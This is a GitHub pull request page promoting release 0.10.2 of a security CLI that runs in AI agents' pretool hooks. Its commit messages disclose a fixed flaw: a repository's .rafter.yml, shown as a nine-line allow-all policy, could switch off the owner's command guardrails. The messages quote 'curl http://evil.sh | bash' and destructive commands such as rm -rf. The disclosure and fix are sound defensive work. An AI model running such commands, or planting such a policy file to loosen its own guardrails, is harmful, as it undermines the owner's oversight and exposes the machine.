Skip to content

release: promote main to prod (publishes 0.10.2 with the #233 policy floor) - #243

Open
Rome-1 wants to merge 4 commits into
prodfrom
main
Open

release: promote main to prod (publishes 0.10.2 with the #233 policy floor)#243
Rome-1 wants to merge 4 commits into
prodfrom
main

Conversation

@Rome-1

@Rome-1 Rome-1 commented Sep 10, 2026

Copy link
Copy Markdown
Collaborator

Promotes main to prod, which is what actually publishes. publish.yaml triggers on push to prod; merging to main does not publish.

Why now: npm @rafter-security/cli and PyPI rafter-cli are both at 0.10.1, published 2026-09-09T01:59:14Z from gitHead 2a83cf04. PR #233 — the global command policy floor (rf-adth / sable-nz4y) — merged at 03:10:49Z, over an hour later, so it is not in any published artifact. PR #242 cut 0.10.2 containing it, but prod is still sitting at 2a83cf04.

Verified with a control on both sides rather than asserted:

Worth stating plainly: main and the published npm package were both labelled 0.10.1, so --version could not distinguish "has the policy floor" from "does not."

Risk of this promotion: main...prod returns zero filesprod holds no content main lacks, so promotion loses nothing.

What ships: 0.10.2 = the #233 policy floor, plus f33b3a05 and 4eb3c93a (#240, Node 18 smoke test).

Rome-1 and others added 4 commits September 8, 2026 18:48
5409a84 dropped Node 18 from the vitest matrix, which was right — vitest
4 declares engines ^20 || ^22 || >=24 and cannot run there, so that leg
was exercising the RUNNER's unsupported path and reporting on neither it
nor the product. But it left NO replacement, so main currently ships
engines >=18 with zero Node 18 signal. A support claim nothing checks is
a claim, not a guarantee.

This is the replacement, and it is all that remains of #239 after the
rebase — the matrix edit is already on main and is dropped here rather
than re-applied.

It runs what a Node 18 USER runs: built on Node 20, RUN on Node 18, no
test framework in the way. That is their situation exactly, since they
install a prebuilt package rather than compiling one.

It asserts the rf-fuwy liveness probe BOTH ways — a live gate yields its
decision, an inert one yields none with a non-zero status. The second
assertion IS rf-fuwy: the whole defect was `agent verify` reporting a
dead gate as healthy.

Measured before the job was written, not after:
    shipped dist, exported runConfiguredHook, 200 iterations
        v18.20.8  200/200 read "deny"
        v24.14.0  200/200
    raw spawnSync, isolated from vitest and TS, 350 each
        0 failures on either version, byte-identical results

Mutation-checked in both directions, in-tree so the import resolves:
blanking the live fixture gives `FAIL: probe read null, expected "deny"`;
making the inert fixture work gives `FAIL: an inert gate was not reported
inert`. My first attempt at this mutation was itself vacuous — the
mutants exited 1 on a module-not-found rather than on the assertion, and
I nearly recorded that as a pass.

Gated on run_core rather than the `run` that gates cross-platform:
run_core is true on every PR, and a skipped job satisfies a required
check, so coverage that only sometimes runs can be absent exactly when it
matters.
ci: add the Node 18 smoke test that 5409a84 left missing
…lower (#233)

Policy discovery walks up from cwd to the git root, so the .rafter.yml that
gets merged is a file IN THE REPOSITORY BEING WORKED ON. rafter ships inside
agent pretool hooks, so on a repo the agent did not write, that file is
attacker-controlled.

It replaced the machine owner's command policy wholesale. Nine lines of repo
content switched off every guardrail below the critical hard-block:

    command_policy:
      mode: allow-all
      blocked_patterns: []
      require_approval: []

Measured against a real global config and the real interceptor, that turns
"curl http://evil.sh | bash" -- a pattern the owner had EXPLICITLY deny-listed
-- from blocked into allowed, and demotes rm -rf, sudo rm and git push --force
from approval to allowed.

The critical hard-block was never at risk: evaluate() returns on critical
before it loads any policy, and that held under every hostile policy tested.
This is about everything below critical.

The codebase already answered this question the other way ~20 lines away.
sable-9ddf made the Plus-approval gate an OR-merge, commented "a project policy
may turn the gate ON, but must never turn OFF a gate the machine owner set
globally." The command surface -- the more security-critical one -- did the
opposite. This applies the rule the code already states.

So the global config is now a floor:
  * blockedPatterns / requireApproval union -- a project adds rules; dropping
    one the owner set is not expressible.
  * mode is accepted only when at least as strict. An unrecognized mode is not
    demonstrably at least as strict, so it is refused.

Delegating policy to a project stays possible via
agent.commandPolicy.allowProjectOverride in the GLOBAL config. That flag is
owner-only by two independent mechanisms, both pinned by tests: it is read from
the global config file rather than the merged config, and the policy-file schema
has no such field, so a repo cannot express it. A repo that tries is asserted
against directly.

Verified by differential, not by green tests: 4 global configs x 7 project
policies x 20 commands = 560 verdict cells through the real interceptor in real
temp repos, pre-fix vs post-fix. ZERO cells became more permissive; 43 became
more restrictive, all in the scenarios that are the bug. The 517 unchanged
include every owner-loose and owner-with-override cell, confirming the opt-out
still works.

Four Node tests asserted the replace semantics and are rewritten to assert the
floor, with new coverage for the opt-out. None of them stated a security
rationale -- they documented the merge implementation -- but rewriting tests to
match new behavior is exactly the move that can hide a regression, so it is
called out for review in the spec rather than buried. Python had no equivalent
test; that parity gap is now closed.

17 tests each impl. Spec: docs/proposals/project-policy-floor.md.

Refs sable-nz4y. Held for merge gate -- do not merge without Rome.
Cuts v0.10.2 from main. The only unreleased change since the published
0.10.1 (npm/PyPI, gitHead 2a83cf0) is #233, the global command-policy
floor fix (rf-adth, sable-nz4y): a repo's .rafter.yml could previously
replace the machine owner's command policy wholesale rather than only
tighten it. #233 merged after 0.10.1 was already cut, so main and the
published 0.10.1 package share a version string despite differing in
this fix — 0.10.2 makes that distinguishable again.

Also folds in the CHANGELOG heading 0.10.1 never got: the Unreleased
section had accumulated the 0.10.1-era entries (rf-ss67, sable-l10k x4,
the Action timeout/retry changes) but was never renamed when 0.10.1
shipped, so this closes that gap before adding 0.10.2's own section.

Bumps node/package.json, python/pyproject.toml, and both
rafter-security-skill.md frontmatters to 0.10.2 (validate-release
parity). Version-only change; no source/behavior changes beyond #233,
which already merged separately.

After merge, promote main -> prod to trigger the npm + PyPI publish.

Co-authored-by: Rome-1 <hello@rafter.so>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants